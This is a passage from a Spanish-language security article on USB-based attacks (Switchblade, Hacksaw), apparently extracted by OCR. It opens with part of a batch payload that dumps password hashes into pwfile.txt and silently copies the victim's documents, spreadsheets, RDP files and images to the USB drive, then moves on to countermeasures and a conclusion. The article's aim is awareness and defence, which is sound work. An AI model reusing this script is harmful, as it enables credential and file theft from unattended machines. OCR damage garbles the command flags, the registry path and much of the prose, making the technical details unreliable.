copy \ Documents \ logfiles \ %computername%.log+ \ Documents \ logfiles  \ %computername%_ms.log*
\ Documents \ logfiles  \ %computername%.log >> nul

del /f/q" \ Documents \ logfiles  \ %computername%_ms.log" >nul
Echo >> \ Documents \ logfiles  \ %computername%.log 2>&1
echo *xxrxkxDump URL History]***** >> \ Documents \ logfiles  \ %computername%.log 2>&1
Echo >> \ Documents \ logfiles  \ %computername%.log 2>&1

cscript //nologo . \ DUH.vbs >> \ Documents \ logfiles  \ %computername%.log 2>&1
TYPE \ Documents \ logfiles  \ %computername%.log | find ":::" | find /V "NO PASSWORD" | find /V
"HelpAssistant" | find /v "ASPNET" >> \ Documents \ logfiles  \ pwfile.txt
mkdir %~d 0\ documents \ %computername%
xcopy "C: \ Documents and Settings \ %username?% Mis documentos \ *.doc" %~d0 \ documents \ %computername%
Islclglr/n
xcopy "C: \ Documents and Settings \ %username% Mis documentos \ *.xIs" %~d0 \ documents \ %computername%
[slclg/rih
xcopy "C: \ Documents and Settings \ %username% Mis documentos \ *.txt" %~d0 \ documents \ %computername%
Islclglr/n
xcopy "C: \ Documents and Settings \ %username% Mis documentos \ *.rdp" %~d0 \ documents \ %computername%
Islclg/rih
xcopy "C: \ Documents and Settings \ %username?% Mis document os\ *.jpg" %~d0 \ documents \ %computername%
Islclglr/n
xcopy "C: \ Documents and Settings \ %username% My Documents \ *.doc" %~d0 \ documents \ %computername%
Islclg/rih
xcopy "C: \ Documents and Settings \ %username?% My Documents \ *.xIs" %~d0 \ documents \ %computername%

Islclq  Ir/h

xcopy "C: \ Documents and Settings \ %username% My Documents \ *.txt" %~d0  \ documents \ %computername%
Islclg/r/h

xcopy "C: \ Documents and Settings \ %username% My Documents \ *.rdp" %~d0 \ documents \ %computername%
Islclglr/n

xcopy "C: \ Documents and Settings \ %username% My Documents \ *.jpg" %~d0 \ documents \ %computername%
Islclglr/n

:End
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Contramedidas:

Antes de concluir este articulo, seria bueno comentar algunos aspectos referentes a la aplicacion de
contramedidas para este tipo de ataques.

Desde el punto de vista de contramedidas base, y tal cual mencione en alguin punto mas arriba en este
articulo, cada vez es mayor la cantidad de compafiias antivirus y deméas malware que ya cuentan entre

sus firmas, aquellas que permiten detectar al switchbale y al hacksaw. Por otro lado la gran cantidad de
variantes de estos cddigos que se pueden desarrollar hace que la deteccion, y mucho mas la

identificacion pueda, fallar. Hasta incluso, en algunas de las variantes de switchblade y el hacksaw, se
incluye una pequefia aplicacién llamadaiav ki | | 0 qQue se encarga de el
real de algunos software antivirus antes de ejecutar el codigo, para evitar que estos sean detectados.

Por otro lado, algo interesante esRémkow's Antidote desarrollado por la misma comunidgde participa

en Hackb, este pequefio cédigo se encargaraplicar en el sistema objetivo, una seria de configuraciones
gue protegeran al mismo de los males de switchblade y de hackehgionalmente ejecutarotras acciones
gue brindaén los siguients beneficios desde la ptica de la seguridad:

9 Eliminar los rastros y vestigios dejados por Switchblade y Hacksaw
Deshabilitar la ejecucién autométidel CBROM

Deshabilitar el soporte para los hasheM

1
1
1 Deshabilitar el accesandnimo
1 Borrar losarchivos temporales
1

Scanear en busca de rootkits dentro del sistema

& 20N a Yt ax
El punto interesante de Remkow Antidote es que la ejecucion del mismo, es exactamente igual a la de
switchblade y el hacksaw, es decir quizas alguien no haga un favor ynonosdemosc ue nt a é
Otra alternativa seria deshabilitar la funcién de auto ejecucién en Windows XP / 2000, para ello
deberian seguir los siguientes pasos:

1. Inicio-> Ejecutar.
2. Tipean REGEDIT y luego enter para abrir el editor del registro
3. Deberian ir a la siguiente llave de registro:
HKEY_LOCAL_MACHINE \SystemCurrentControlSet\ServiceSCDRom

4. Modificar el valor existente por 0 para de esa manera deshabilitar la funcion de auto ejecucion
del CD-ROM.

5. Cerrar el Editor

6. Reiniciar el equipo.

Claro esta, como vimos en el caso de los ataques con dispositivos USB non-U3, la intervencion de un
usuario desprevenido, podria hacer que el ataque tuviese éxito de todas maneras.

Por ultimo, existe software comercial que permite deshabilitar las interfaces USB de los equipos o
bien permitir que solo puedan funcionar en estas dispositivos USB como teclados y mouse, entre otros.
Pero no dispositivos de almacenamiento, agregando ademas la trazabilidad en la utilizacion de los
mismos Yy otras medidas de seguridad adicionales. Un caso de este tipo de software es el de Device
Wall.A aquel que le interese profundizar més en este tema, encontrara informacion en las referencia de

la red. l
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Conclusion:

Como ultimo punto, me gustaria mencionar que los problemas causados por los ataques descriptos
tiene soluciones desde el punto de vista técnico y para nada complejas. Por politica, por ejemplo,
puedo deshabilitar en las estaciones de trabajo y servidores la funcionalidad de la ranura USB. Existen
disponibles gran cantidad de aplicaciones que permiten esta y muchas otras variantes relacionadas.
Quizé el punto mas dificil para aplicar una contramedida sea el aspecto funcional, el que la
organizacion identifique y comprenda los riesgos que esto trae aparejados y decida hacer algo al
respecto.

Como se pudo leer en este articulo, el fin principal de este no es solamente explicar técnicamente
como funcionan los ataques, sino que ademas tiene como fin mostrar cuan sencillo puede ser para un
atacante extraer informacion sensible de una organizacion sin demasiado esfuerzo y conocimiento y
tomar conciencia de ello.

Piensen Ustedes, cuan comun es el acto de intercambiar informacion utilizando estos dispositivos,
cuantos equipos quedan desatendidos y con acceso publico a los cuales, un atacante en 30 segundos,
puede extraerle informacion sin ni siquiera tocar el teclado. Cuantos usuarios sospecharian que un
IPOD puede causarle tanto dafio? En fin, la lista de escenarios podria continuar y continuar.

Por eso, y como es mi costumbre, terminaré este articulo con la siguiente frase fi L aeatividad

aplicada a | os ataques, es algo contra | o que
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